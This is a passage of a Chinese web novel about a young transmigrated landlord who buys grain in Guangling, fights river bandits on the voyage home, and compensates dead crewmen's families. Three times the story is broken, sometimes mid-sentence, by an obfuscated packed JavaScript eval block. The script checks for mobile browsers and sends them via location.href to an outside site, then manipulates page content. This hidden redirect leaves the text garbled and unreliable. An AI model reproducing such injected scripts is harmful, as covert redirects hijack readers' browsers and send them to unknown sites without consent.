送走大夫,又留下陈成和另外两个汉子照顾病人,其他人都跟着曲花间下了船。 昨天曲花间便和一家粮铺老板谈好了价格,为了省点送货费,他们去租车行租了几辆拉货的牛车,自己上门取货。 糙米十万斤,黄豆高粱等杂粮三万五千斤,还有两万五千斤粮种。 广陵的稻种比青岱的产量能高出一二十斤,还有黄豆高粱,这两样作物都比较抗旱,青岱目前还没有人种这些,所以曲花间只一样买了五千斤回去试种。 还有些青岱没有的菜种,曲花间也一样买了些,零零总总算下来,花了四千七百两。 再加上给船上三个伤病员治病的钱,曲花间全身上下还剩下一千一百两,荷包瞬间便瘪下去一大半。 等着手下人将粮食运回船上的功夫,曲花间带着曲宝和两个曲家护院去龙虎镖局聘了几名镖师。 一名普通镖师一百两,功夫更厉害的镖头二百两至五百两不等。 价格昂贵,曲花间有心试试这些镖师的手艺。 只可惜他带来的两个护院长得倒是高大壮实,却只是空有一把子力气,看家护院和普通人比划两下还行,跟这些靠功夫吃饭的镖师比,完全就是找虐。 好在林茂也会些拳脚功夫,曲花间便让他和其中一个镖师比划比划。 谁知林茂跟那镖师将将过了两招,便被一个过肩摔砸在地上,他闷哼一声迅速爬起来,惭愧的退回曲花间身后。 和他比试的镖师得意一笑,拍拍身上莫须有的灰,拱手道了声“承让。” 最后曲花间聘请了四名镖师和一位三百两的镖头,交付了三百两的定金,约定好明日一早在码头集合,便离开了龙虎镖局。 走出镖局大门老远,林茂仍旧闷闷的跟在曲花间身后,暗自懊恼。 东家救了阿冉的命,他早就下决心要誓死效忠东家,上刀山下火海在所不辞! 可是他实在太没用了,除了会射箭打猎,连个普通镖师都打不过,想必给东家做护院的资格都没有吧。 他看了看和自己并肩而行的两个曲家护院,自己和他们身高差不多,但曲家护院却长得虎背熊腰,很是精壮,想来自己肯定是打不过的。 还得变得更强,至少要像那位身价三百两的镖头一样强,才能为东家做事,以报他的救命之恩。 曲花间在城里闲逛了一下午,买了些广陵特有的零嘴小吃,还买了几匹颜色浅淡的布料,准备回去寻人给自己做几身衣服穿。 曲花间这半年来穿的都是原身从前的衣服,颜色多暗沉,而他却更喜欢浅色系,前半年迷迷瞪瞪的一直在适应古代生活,也没给自己添置过衣物,等入了冬翻出去年的衣服穿,纷纷短了一大截。 如今曲花间身高有一米六五左右,虽然比前世矮了十公分,但他这具身体才刚满过十五岁,还能长好几年,不说高过前世,长到持平应该没什么问题。 很快身后三个跟班手上便拿满了东西,连曲宝都拎着几个果脯纸包,曲花间一惊,这才意识到自己买多了。 “走吧,回去了。”曲花间收起左顾右盼的眼神,直视前方,不再看两边店铺,往城门方向走去。 可惜青岱受灾严重,经济凋零,下次想要再遇到这么热闹的街市,不知道是多久之后了。 夜晚,曲花间在甲板上和众人一同吃饭,此时粮食已经全部搬上船,只等好好歇息一夜便要踏上归途。 下午遇到鸭贩从乡下收了几十只鸭子搭船到码头,曲花间让曲宝全买了下来,晚饭便宰了十只烧了一大锅。 晚饭是曲花间指挥着厨师做的,淋上少许酒去腥,还加了些他中午特意买的香料,味道总算还下得去口,曲宝在一旁闻着味道直咽口水,连曲花间都忍不住盛了一大碗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487859|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人在甲板上席地而坐,各自捧着自己的饭碗狼吞虎咽,鸭子骨头软,这些一辈子没吃过几次肉的汉子连骨头都不吐,囫囵吞枣般嚼吧嚼吧下了肚。 除了鸭肉和管够的糙米饭,每人还分得一小口米酒。 这时代的酒说得好听叫酒,实际就是醪糟汁,酒精度怕是和啤酒差不多。 昨晚曲花间本想用烈酒给船舱里躺着那两位的伤口消毒,谁知道曲宝找了半天,就拿来一坛子醪糟汁,打开坛子里面还漂浮着几粒米粒儿。 别说消毒了,用来给发烧那人降温都做不到。 一坛子酒三十几个人分,一人也就能喝到一小口,船上没那么多碗,便几人一只碗分着喝。 好在这些汉子相处半个多月早就十分熟络,此时一只碗里喝了酒,感情更加密切。 曲花间有专门的茶杯,他也给自己倒了一小杯细细品着,这醪糟汁估计是没放糖,喝起来有些酸涩,水也加得太多,酒味寡淡,实在算不上好喝。 秉着不浪费的原则,曲花间还是将自己那一小杯喝完了。 吃过晚饭,锅里单独给几个病号炖的鸭肉汤也差不多了。 将鸭子胸口和大腿的肉剃下来切碎,又加了些酸菜碎,小火慢炖一个多时辰,起锅前一刻钟撒上少许毛毛盐,将锅面上漂浮着的油花撇干净。 曲花间舀了两小碗肉少些的给两个伤员,剩下的又倒了些糙米饭进去煮成一小锅烫饭让林茂端去喂林冉。 林冉下午的时候又醒了一小会儿,小女孩儿刚能坐起身便被林茂抱过来见曲花间,兄妹俩砰砰砰给曲花间磕了三个响头,曲花间连阻止都没来得及。 本来就不甚清醒林冉头磕在邦硬的甲板上,更加晕晕乎乎的了,只见一个长得很好看的大哥哥笑眯眯的双手撑住她的胳肢窝把她抱了起来,比她亲哥哥温柔多了! 可惜还没说上几句话,林冉便又昏睡过去,曲花间让林茂好好照顾病号,便让他又把林冉抱回房间了。 林冉此时也搬到了上层船舱,上层船舱除了曲花间原本的房间,还有一间厨房和一间更小的空房间。 那两个伤员被移到了那个小房间,林冉两兄妹则跟曲花间他们一间,曲宝还是不肯和曲花间一起睡床,是以原本就不宽敞的房间因为多了两张地铺更加拥挤了。 原本曲花间想让生着病的林冉睡床,但林茂十分惶恐,曲宝也不停劝阻,曲花间只得作罢。 反正木板床和木地板都是邦硬,床上床下也没啥区别。 船上载满了货,船员们睡的地方就得重新挪,还得安排晚上值守,曲宝此时正忙着处理这些事宜,唯一的闲人曲花间端着托盘去给两个伤员喂饭。 曲花间探了探两人的额头,昨天发着高烧那人温度好像退了些,但还是很烫,而原本没有发烧那人也开始发起低烧来。 这一整天两人都没醒过,食物和汤药都是硬灌下去的。 有了前两次的经验,曲花间轻车熟路的捏着鼻子给两人分别喂了鸭肉汤和药,然后开始处理纱布。 9. 归途 由于两人全身都是伤,再加上他们原本的衣服也都被刀剑弄得破烂不堪,所以此时两人是裸着的。 船舱里点了火炉,也不算冷,曲花间掀开男人的被子,面不改色的打量了一眼男人纱布下精壮的麦色肌肤。 这人削肩细腰,高挑身材,腹肌被纱布遮了一半,只数到六块便看不见了,目光再往下移,那壮观的场面尽落眼前,曲花间忍不住“哇哦~”一声。 他偷偷瞄了眼自己暗青色的长裤,也不知道自己再长几年能不能有这规模。 将男人的被子往上提了提,遮住令人咋舌的风光,曲花间解开他肩胛处的纱布结。 男人躺在那里,缠裹在身上不好解下来,他用力将男人撑起来侧躺着,用膝盖抵住他的后腰。 谁知男人被动一翻身,窄小的被子又不听话的滑落,露出两个圆润光滑的屁股蛋子。 母胎单身且不是很直的曲花间:“……” 大可不必如此!!! 本来男人的脸就刚好长在曲花间的审美点上,身材居然还这么好真的太犯规了! 曲花间长呼一口气,默念了句阿弥陀佛,继续手上的动作。 虽然出于人道主义精神他将两人救了下来,但他们毕竟素不相识,他对男人的身世姓名一无所知,也不知道他是好是坏。 即便欣赏他的长相,但也不至于就见色起意,动什么歪心思。 因着昨晚将男人伤口上的腐肉剜去,露出了新鲜的血肉,纱布被血液黏在伤口上扯不下来,曲花间用凉开水打湿纱布轻轻揭了下来。 可能是不小心太用力,昏迷中的男人吃痛,上挑的眉毛皱成直线,眉间形成一个深深的川字。 用凉开水将伤口上黑红的血块和金疮药混合物擦洗干净,又撒上新的药粉,再裹上干净的纱布,曲花间擦擦额角的细汗,开始处理下一个伤口。 还没等曲花间解开纱布结,一只骨节分明的手突然捏住他的手腕,那力气极大,曲花间吃痛撒开手,感觉自己的骨头仿佛被捏碎了一般。 他骤然抬头,对上一双漆黑的眼眸,男人不知何时醒了过来,警惕的凝视着他。 “你醒了?”曲花间尝试着抽回自己的手,可惜男人力气太大,他用尽力气也没夺回自己的手腕。 “你是谁?”男人发出沙哑的声音。 曲花间手腕痛得直抽气,此时也有些恼怒了,“放手!我救了你,你就这么报答我?” 男人闻言,这才缓缓松开了力道,曲花间狠狠抽回自己的手,洁白如皓月的手腕此时多了一道深红色的指印,并迅速充血发紫。 这狗比!!! 曲花间心里怒骂,对男人的好感值刷刷刷疯狂-1。 男人环顾四周,看到身旁躺着的同伴,还有自己身上被妥善处理的伤口,这才明白过来此时的处境。 “抱歉,多谢阁下救命之恩。”男人嗓音低沉浑厚,夹杂着冷冽,像是木锤敲击在铜鼓上发出的清冽音色一般。 “道歉有用要警察干嘛?”曲花间小声嘀咕,冲男人翻了个白眼,头也不回的转身出了房间。 “陈成!”曲宝还在忙事情,林茂在照顾林冉,脸盲加记名困难户曲花间只得唤来除这两人外唯一能记起的名字。 陈成平时在船上负责做饭,此时正在洗碗,厨房就在小房间隔壁,听到曲花间的声音,陈成利索的从厨房钻出来,“东家,您叫我?” 曲花间看了弯着腰一脸笑的陈成,顺了顺气,“昨晚我给那两个人上药你看清楚没?照着我的样子给他们换药。” 说完曲花间抬脚便走,临了又提醒一句:“对了,有个人醒了,注意着点。” “晓得了东家!”陈成摸了摸后脑勺,看着曲花间消失在转角的身影,小声嘀咕:“东家怎么不太高兴的样子?” 曲花间回到自己的房间,林冉已经醒来正在吃饭,小家伙一手端着比她脸还大的粗陶碗,一手捏着筷子往嘴里扒拉最后几粒饭粒。 在这之前林茂已经跟她讲说这位好看的大哥哥是他们家的东家,还是她的的救命恩人,此时连忙放下碗,怯生生的睁着大眼睛盯着她。 小家伙脸上实在没多少肉,显得脸特别小,一双眼睛长在她脸上几乎占了小半张脸。 “阿冉醒了?”面对小孩儿,曲花间扬起笑脸,伸手探探她的额头温度,“吃饱了没?有没有哪里不舒服?” 林冉抿着小嘴不敢说话,林茂见状拍拍她的背,替她回答:“东家莫怪,这孩子怕生,不太敢说话,不过精神挺好的,饭也够吃,我还没见过她吃这么多的时候呢!” 曲花间点点头,没带过小孩儿的他也不太会哄孩子,确定了林冉没什么大问题便简单擦洗了一下躺上床准备睡觉。 林茂见状示意林冉别出声打扰了东家,自己轻手轻脚的将饭碗收拾了出去。 一夜无梦。 翌日清晨,曲花间又让林茂去请了老大夫过来给三个病号看诊,如今船上物资充足,出了广陵曲花间便不打算再在其他城镇停留了,这是回到青岱以前最后一次看大夫。 老大夫给三人诊了脉,林冉已经清醒过来就没什么大问题了,只要再吃一阵子药便能养好。 那两个捡来的伤员则要严重些。 两人都发着高烧,其中一人昨夜醒了一次,没一会儿又撑不住昏了过去。 老大夫检查了两人的伤势,好在气温低又加上曲花间处理伤口的手法还不错,伤口除了还在渗血外并没有溃烂的迹象。 将男人的伤口重新包扎好,老大夫叮嘱曲花间:“昨日我给他们开的药一日一副继续吃,伤口每日换一次药,另外多给喂点水,三日内能醒过来就算保住命了。” “三日?他昨晚已经醒过一次了。”曲花间指着昨夜捏伤他手腕的男人道。 “哦?”老大夫诧异的又给男人把了把脉,沉吟片刻道:“想来此人意志坚定,只是此后还是要注意着点,若七日内伤口化脓则还会有危险,熬过七日便无大碍了。” 曲花间闻言点点头,谦逊的送老大夫走出房间,“晓得了,多谢大夫。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487860|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >送走老大夫,龙虎镖局的几位镖师也到了,领队的镖头名叫林唤,此人面色黝黑,虎背熊腰,性格十分豪爽,笑起来声音浑厚,如雷贯耳。 “曲老板,咱们兄弟几个收拾好了,这就出发还是?”林唤扛着一柄大砍刀,刀身宽半尺,长三尺半,看着很有份量,他把刀尖随手杵在地上,木制的甲板瞬间被磕了道浅浅的印子。 曲花间让曲宝清点的人数,确定没有遗漏后便大手一挥,喊了声“出发!” 粗长的麻绳被人力缓缓拉起来,铁质的船锚破水而出,船身没了锚的固定,开始随波逐流。 船上有经验丰富的水手掌舵,其他人则奋力挥舞起船桨。 大船在宽阔的江面上缓慢的拐了个弯儿,往来时的方向而去。 想着船上满载的粮食,还有家中翘首以盼的老小,众人归心似箭。 再加上这几天曲花间花了不少钱给大伙儿改善伙食,船员们浑身仿佛充满了使不完的力气。 回程船上载满了粮食,又是逆流而上,行船十分吃力。 饶是船员们两班轮换,日夜兼程,来时仅四天时间的路程,回去却也花了将近七八天。 船越往北走,水匪越发猖獗,还没走出徐州地界,就碰上了三波水匪。 如今船吃水深,很明显船上载满了货物,水匪们像闻到肉腥味的狼,即便林茂远远射伤了几个人,也阻止不了他们疯狂的追赶。 好在船上挂了龙虎镖局的旗帜,有两波水匪想来也知道龙虎镖局的厉害,看清旗帜上的图案后便不再追赶。 只有一支水匪队伍不知是新手还是没吃过龙虎镖局的亏,强行追了上来。 林唤也是经验老道的镖头了,大大小小的镖不知走过几回,很快便组织众人反抗,以己方仅三人轻伤的情况下斩杀了对方七八个人,总算逼退了这一波水匪。 船越往北走,水匪越多,许多遭受旱灾,又等不到朝廷赈灾的平民,实在活不下去了,便选择落草为寇,水匪须得有船,数量相对山贼少了许多。 可想而知若是走陆路的话,别说运粮食回去了,恐怕在来的路上就被啃得渣都不剩了。 又过去半个月,曲花间在亲手将匕首捅进一个水匪后背之后,大船总算越过青州的界碑,跨入冀州地界。 曲花间眼睁睁看着一直护在他身边的林茂利落的给被他刺伤的水匪补了一刀,赤红的眼睛滑轮两行泪水。 相比起林茂经历好几次厮杀,已经渐渐习惯了血的颜色,这是曲花间第一次杀人,前几次他都被护在船舱里,捂住耳朵企图过滤掉外面的喊杀声。 可一路过来船上伤员越来越多,甚至有两个船员被砍伤落进奔腾的江水之中,尸骨无存。 曲花间看着这些与自己朝夕相处一个多月的汉子脸上不再扬起笑容,只剩下恐惧和悲伤,他再也做不到躲在别人身后被人保护了。 后面这几次厮杀曲花间都参与了进来,但由于自己个头太小,甚至挤不进人群之中,所以虽然也看了几次杀人的场面,但都没有亲自动过手。 10. 醒来 今天这波水匪格外凶残,想必是饿疯了,在其中一个水匪发现船上全是粮食之后,水匪们像是闻到血腥味儿的豺狼,倾巢而出。 曲家船上在前几次遭遇水匪后,已经有七八个重伤员,其他人也都大大小小受了些轻伤。 加上曲花间和曲宝,能反抗的也就三十个人,而水匪数量目测比他们还多几个。 几位镖师几乎是以一敌三,镖头林唤更是将水匪头子和几个精英挡在船头。 剩下的水匪喽啰们趁此机会冲进船中央,在甲板上和曲家船员们拼斗。 船员们有了经验,这些日子也或多或少见过了血,而且是家乡近在咫尺,只要熬过这一波就能回家,一时间所有人都杀红了眼,拼死反抗。 林茂这段时间一直跟在林唤身边,端茶倒水,频献殷勤,请求林唤能教他些功夫。 林唤这人倒不藏私,看他态度诚恳,又是本家,便随手指点了他几回,因此林茂的功夫颇有长进,此时一打二也不落下风。 可惜水匪阴险,趁三人打得不可开交,另一个水匪悄悄绕到林茂身后准备偷袭,却成了螳螂捕蝉的螳螂,而曲花间正是那个黄雀。 他使尽全身力气将匕首推进水匪身体,利刃破开血肉发出噗嗤声,激得曲花间汗毛竖立,冷汗直冒。 很快,水匪的攻势弱了下来,在众人齐心协力将几个受伤的水匪推下船后,剩下的人渐渐开始往回撤。 林唤领着手底下几个镖师一股作气将水匪撵下船去,水匪们划着渔船落荒而逃。 这次的水匪头子功夫十分厉害,林唤手臂上被砍了一道长长的伤口,等水匪的船跑出视线范围,这才脱力捂住手臂瘫坐在甲板上。 万幸这次虽然又有好几人受了伤,但都性命无虞。 船上药材充足,大家互相治伤也都有了经验,曲宝连迅速来许多纱布和金疮药,负责厨房的陈成也端来凉开水,给受伤的林唤等人处理伤口。 剩下没受伤的人则在曲花间的示意下开始清理船上的血污。 曲花间走进自己房间将被他藏在床底下的林冉牵出来,小孩儿耳朵上塞着草纸团,但还是被吓得涕泪泗流,他将小孩儿圈进怀里轻声哄慰。 小孩儿趴在曲花间怀里无声的哭泣,豆大的眼泪噼里啪啦的流,这是曲花间嘱咐她的,外面有坏人的时候,就赶紧躲起来,再害怕也不能发出声音,除了是林茂和曲花间叫她,绝对不能出来。 “没事了,坏人已经赶跑了。”曲花间不会哄孩子,只温声安慰道。 小孩儿哭了好一会儿,才抬起头问:“哥哥呢?哥哥……东家您和哥哥受伤了吗?” “我没受伤,你哥哥他……”曲花间顿了顿,想起方才林茂被偷袭那下好像被水匪的刀尖扫了一下,估计受了点轻伤,怕吓着孩子,他只得撒谎道:“他也没受伤,他在外面做事情呢,你先不要出去,等会儿我让他来找你。” 小孩儿虽然担心哥哥,但是很听话,她擦干脸上的泪痕,懂事的点点头,“东家您去忙吧,我没事的!” “好!”曲花间拿出几枚蜜饯递给林冉,走出船舱又往另一个房间而去。 小房间里除了在广陵救回来那两个人,还躺着几名重伤员,水匪来袭之前曲宝就用一把大锁将房门锁死,防止水匪冲进去。 曲花间走近才看到,原本该锁得好好的门虚掩着,被砍坏的铜锁掉落在地上,他心里咯噔一下,捏紧手臂小心翼翼的推开门。 小房间只有一扇用于透气的小窗户,里面没点灯,光线昏暗不已。 曲花间只来得及看清躺在地上的两具水匪尸体,便被一阵大力推倒撞在墙上。 一只骨节分明的手捏住他纤细的脖子,仿佛下一秒便能将其折断。 曲花间抄起匕首便要向对方刺去,却被另一只手捉住手腕。 “是我!”男人低沉的声音传来,原来是那个捏伤他手腕的狗比。 男人也看清的曲花间的样貌,迅速收回手,却见前面白皙的脖颈上又起了红印子。 他懊恼的用拇指掐了自己掌心一下,这下少年又要生气了…… 果然,曲花间将匕首别回腰间,双手抱臂冷笑一声,“两次了。” 亏自己替他担心半天! “抱歉。” 男人微垂着头,眼眸低垂盯着自己那只作恶的手,诚恳的道歉。 自上次少年被他误伤后,便再没出现过,换药送食水的人都换成了他手底下的人。 而他这几日时常昏睡,偶尔醒来也浑身无力,即便如此,给他送饭的人对他也十分防备,导致他根本没有出门见到少年的机会。 其实即便重伤在身,他要想出去,也没人能拦得住,但到底蒙受救命之恩,男人也不好强闯做出令少年不满之事。 “我以为是刚才那些匪徒,出于自保,这才……” “哼!”曲花间根本不想听他干巴巴的解释,其实刚才那种情形他也知道男人不是故意的,但脖颈上传来的闷痛让他就是十分不高兴。 “想来你也好的差不多了,等船到下一个城镇,你和你同伴便下船吧!” 曲花间倒不是付出不求回报,但这两人功夫极好,又不知根底,万一是什么恩将仇报的歹人,要是把他们带回家,那就真是引狼入室了。 更何况,这狗比都已经恩将仇报两次了!!! 男人闻言,沉吟片刻后终是没有拒绝。 他拱手抱拳向曲花间行了一礼,道:“在下穆酒,字守疆,这是我的……随从,秦枫。” 穆酒指了指一直站在阴影处和他一同被救下来的同伴,秦枫见说到自己,赶忙站过来,也向曲花间行了一礼表示感谢。 “多谢恩公救命之恩!” 曲花间点点头,没说什么,等着自称穆酒的男人继续下文。 穆酒见状,顿了顿又道:“多谢恩公!只可惜我二人身无长物,又有不得不离开的理由,这份恩情恐怕只有日后再报了。” 穆酒从怀里摸出一块洁白无瑕的云纹虎面玉佩,递给曲花间,“这块玉佩是我从小配戴在身上的,权作信物,日后恩公遇到难处时,可以带着这个到幽州边境寻我。” 曲花间接过玉佩仔细端详了一下,这玉佩入手温润,质地通透,雕工也十分细腻,一看就很值钱。 曲花间早就知道两人身上除了几两碎银子之外,就只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487861|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下这个玉佩了,毕竟两人之前穿在身上的血衣还是他亲手扒下来交给曲宝洗净缝补好的。 “幽州这么大,边境无比长,我怎么寻你?这玉佩看起来值不少钱,我便收下了,权当抵你们这段时间的吃住医药费,以后我们两清,各不相干。” 秦枫见自家将军将传家的玉佩都交了出去,想说点什么,嘴张了张到底还是没有发出声音。 穆酒见状也没多说什么,虽说这玉佩价值千金,但和救命之恩比起来,也不算什么。 如今时局艰难,他和父亲在朝中地位也是岌岌可危,若有一天遭了难,或许他这份许诺还真比不上一块玉佩。 说完这些,曲花间又查看了几名重伤员的情况便离开了。 接下来的路程顺畅许多,曲家大船运气极好的没再碰上水匪,在邻近的一处码头将穆酒秦枫二人放下船后,大船迎着和煦的春风抵达了青岱。 曲家有自己的小型码头,这段时日曲福几乎日日待在码头翘首以盼,总算盼来了挂着曲字船旗的大船遥遥而来。 “回来了!船回来了!” 码头周围便是曲家的田地,此时附近忙着春耕的佃农看见大船归来,也纷纷丢下农具前来迎接。 曲福更是老泪纵横,原本预计来回一个月,可曲花间足足晚了半个月才到家。 时间每推迟一日,曲福的心就沉一分,最后这几日一有空就跪在曲家老太爷的牌位前以头抢地,求老太爷保佑。 于是刚下船的曲花间便看见一个顶着泡肿眼的中年男人挥着手绢向自己疾步奔来,嘴里还颤颤巍巍的喊着“少爷!” 幸亏曲福的声音还没哭哑,不然脸盲症严重的曲花间根本认不出这是自家管家福伯。 “福伯,你这是怎么了?”曲花间惊讶的问。 “爹!”曲宝看见自家老爹飞奔来了,笑嘻嘻的张开胳膊准备迎接一个爱的抱抱,谁知自家老爹直接略过他冲向了少爷。 曲宝:“……”我可能不是亲生的。 “少爷!您终于回来了,我看看!有没有受伤?饿着没?冻着没?”曲福抓着曲花间的胳膊,来回看了好几遍,没看到哪里有伤口,这才松了口气。 回头总算注意到自家臭儿子,他浓眉一竖,怒斥道:“小兔崽子,你看看少爷瘦成什么样了!?走时我怎么跟你说的?” 曲宝到嘴边的一句“我还是不是你亲生的!”瞬间被憋了回去,他耷拉着脑袋不敢说话。 曲花间连忙替曲宝解围,“是我自己晕船吃不下,曲宝做得更好,让你担心了,福伯。” 几人说了会儿话,曲花间让船员们将重伤员抬下来,差遣来接他的车夫用马车将这些人送回曲府去。 天色还早,曲花间又召集了曲家所有佃农到码头集合。 佃农们这个时辰几乎都在地里忙着春耕,众人奔走相告,很快便集结在了码头上。 众人看见东家,也不敢造次,都拘谨的站在一起,许多家里有人跟着出门的老少翘首以盼在船上一众人中寻找自己家人的身影。 曲花间看着那一双双期盼的身影,想到有两个家庭永远也等不到自己的孩子了,心里泛起一阵苦涩。 11. 发粮 曲花间喊出两个名字,他们的家人从人群中走出来,搓着手眼带紧张的看着曲花间,等着他发话。 曲花间噎了噎,面带歉意。 “刘平和李坤在抵抗水匪时不幸……落水了,尸身……也没找到。”曲花间低着头,冲两人的家属深深鞠了一躬。 刘平年纪不大,也没成亲,家中只有一双老父老母,和一个哥哥,李坤家里则人丁兴旺,大大小小的七八个。 此时骤闻噩耗,几个老人瞬间哭嚎起来,年轻人一边扶住老人,一边你一言我一语的说话。 他们身后的人群也叽叽喳喳的互相交谈,有庆幸没听到自己家人过世的,也有担忧不已的。 这些人嘴里不停说着话,乌泱泱的曲花间听不清楚,但能看到他们望向自己的各色眼光。 有尊敬,有不安,有难过,也有嫉恨。 曲花间感受到一道怨恨的目光,那是个年轻女人,她手边牵着一个三四岁的小男孩,和别人成双成对的不同,她身边没有男人,应该是李坤的媳妇。 曲花间歉意的看着她,开口道:“按出发时立的字据,不幸过世的人我会补偿他们的家人五十两银子并一百斤粮食,如今粮食买回来了,我再补给你们每家两百斤粮食。” “粮食!?粮食有什么用?你给我们粮食,我男人就能回来了吗?”李坤的媳妇个子不大,看起来面黄肌瘦的,说起话来却尖声厉气,她松开牵着孩子的手,作势就要向曲花间扑来,被曲家两个护院伸手拦住。 曲花间看着她眼角含泪,一双手如鹰爪般死死掐住护院的手臂,声嘶力竭的哭喊着。 虽然心里十分难过,但曲花间还是木着脸,没再多说什么,只挥手让曲宝点足了银两和粮食放到她面前。 谁知女人手还没碰到装粮食的麻布袋,李坤的父母兄嫂便如饿狼扑食一般将布袋抢了过去。 李坤的父母手忙脚乱的和两双儿子媳妇争抢着,完全没了刚才哭得差点背过气去的样子。 女人见状卸下力来,她瘫软跪地,双手掩面而泣,她的儿子怯生生的走过来,伸出短短的手臂想将自己娘亲圈在怀里。 “我是你们的爹!你们要造反是不是!”李坤的父亲李老汉见抢不过年轻力壮的儿子媳妇,将拐棍重重杵在地上,怒吼一声。 李老汉的媳妇也捶胸顿足的哭喊:“不孝子啊!不孝子!东家您要给老婆子做主啊!您看看这两个不孝子,是要准备饿死我们老两口啊!啊呜呜呜……” “住手!”曲花间皱着眉呵斥一声,争抢着的几个人却充耳不闻,只顾着扯开装着银两的钱袋,不停将里面白花花的银元宝往衣兜里塞,生怕慢人一步就拿少了。 曲花间无奈,清官难断家务事,何况他只是这些人的佃主,根本没理由掺和人家的家事。 可看着被那家人排除在外的母子俩,曲花间忍不住动了恻隐之心。 他挥手让护院上前将几人拉开,让他们把怀里的银两交出来。 “凭什么!凭什么交出来!你是不是不想给钱了!”李坤的嫂嫂长得高大壮实,颧骨高突,面相刻薄,这一刻她几乎忘记面前的人是她的衣食父母,细长干枯的手指指着曲花间。 她男人也雄赳赳的紧紧护住装着银两的衣兜,附和道:“就是!给了我们的休想拿回去,我兄弟一条命白给你了?要我说,五十两根本不够,至少要再给我们五十……不,一百两!” 曲花间被他那副理直气壮的样子几乎气笑了,他叉着腰怒骂出声:“给你?凭什么给你?这钱是给李坤父母妻儿的,你算什么东西?” “我……”李坤的哥哥被曲花间一句话噎回去,他媳妇又赶忙站出来,喷着唾沫尖声大叫:“长兄如父,长嫂如母,我们当然拿得!” “拿得?你养他了,还是给他奶吃了?今天你非要拿,就算明抢!”曲花间气得不行,甚至没注意到自己口出污言把曲宝等人惊得目瞪口呆。 “今天你敢拿一分钱,我就敢报官,让官老爷来评断,这钱你拿不拿得!” 说到报官,小两口总算怂了下去,要知道这时候报官,不管你有理无理,进了公堂就得先挨二十大板,体质弱的,很可能就没命申冤了,何况他们无冤可伸。 李坤的另一双哥嫂胆子小些,闻言赶紧将银两乖乖交了出来,那两口子见状,也梗着脖子不情不愿松开了捂着衣兜的手。 “东家!谢谢东家!这钱合该我们拿的!”李老汉见状兴奋的将银两装回布袋里,就往怀里拢。 “就是就是!东家简直是青天大老爷!”李老汉的媳妇也冲曲花间直拜。 曲花间见状便准备继续给刘平的家人发放钱粮,人群中却传来一道女声。 “东家,李老汉家的心坏得很,您把钱和粮食给了他们,坤哥儿的媳妇和娃儿就只能活活饿死了。” 说话的是一个三十来岁的妇人,她站在自己丈夫身后,露出半边肩膀。 和李家相熟的人家也都纷纷附和,“就是就是!坤哥儿在家时小两口一边伺候全家人的田地,时不时的还要去码头扛麻袋补贴家用。” “唉!坤哥儿多好的孩子呀,又勤快又孝顺,李老汉两口子心黑呀,对孩子非打即骂,还经常不给饭吃!” “要我说啊,还是余三嫂最可怜了,嫁给坤哥时听说陪嫁了整整十两银子呢!全被李大哥李二哥和两个嫂子抢去了!” 一个小女孩儿如是说到,却被自家大人呵斥了一声,“大人说话小孩儿别插嘴!” “上个月阿坤走的时候还跟我说呢,等这次回来,手边有了银子,就带着嫂子和娃儿分出来单过,还说让我帮着盖房子呢,可惜……唉……” 曲花间听着佃户们你一言我一语的说着,李坤的妻子余三却无动于衷,仿佛他们说的不是自己,她睁着空洞的双眼将儿子圈进怀中,眼泪如未断线的珍珠,噼啪直掉。 “我说了,这钱是补贴给父母妻儿的,所以分为四分,你们四人各拿一份。”曲花间冷着脸,挥手让护院将李老汉两口子还没来得及拿走的银子数出一半来。 那两口子本来听到有人在东家面前碎嘴子便开始对着那人破口大骂,但对上曲家的护院,胆子比自己大儿媳妇还小,根本不敢反抗。 甚至在曲宝沉着脸呵斥一声后,连骂声都收敛了回去,灰溜溜的拿着属于自己那份钱粮准备离开。 “等等!”曲花间叫住李老汉,从怀里掏出一叠写满字的宣纸,“拿了补偿款的,未免以后有什么纠纷牵扯不清,要在收据上按个手印,才能走。” 说完,曲花间将早就拟好的收据让曲宝大声念给众人听。 在李老汉和余三分别在一张收据上按了手印后,曲花间又看向余三。 余三本来因为丈夫的离世而生出的怨恨消散了些,她紧紧抱住儿子沉默不语。 二十五两银子和一百五十斤粮食足以让她们孤儿寡母衣食无忧好几年了,等孩子大些,有了生存的能力,日子总会好过起来的,她还有什么好抱怨的呢? “我家今年准备在西面的平顶坡开荒出来种些从南方买回来的粮食,现在正好缺人手,你要来吗?包吃住。” 曲花间温润的声线传入余三的耳朵里,她猛然抬头,眼睛通红。 她一个寡妇,带着个儿子,想要再嫁太困难了,何况她也不想改嫁,可若回了李 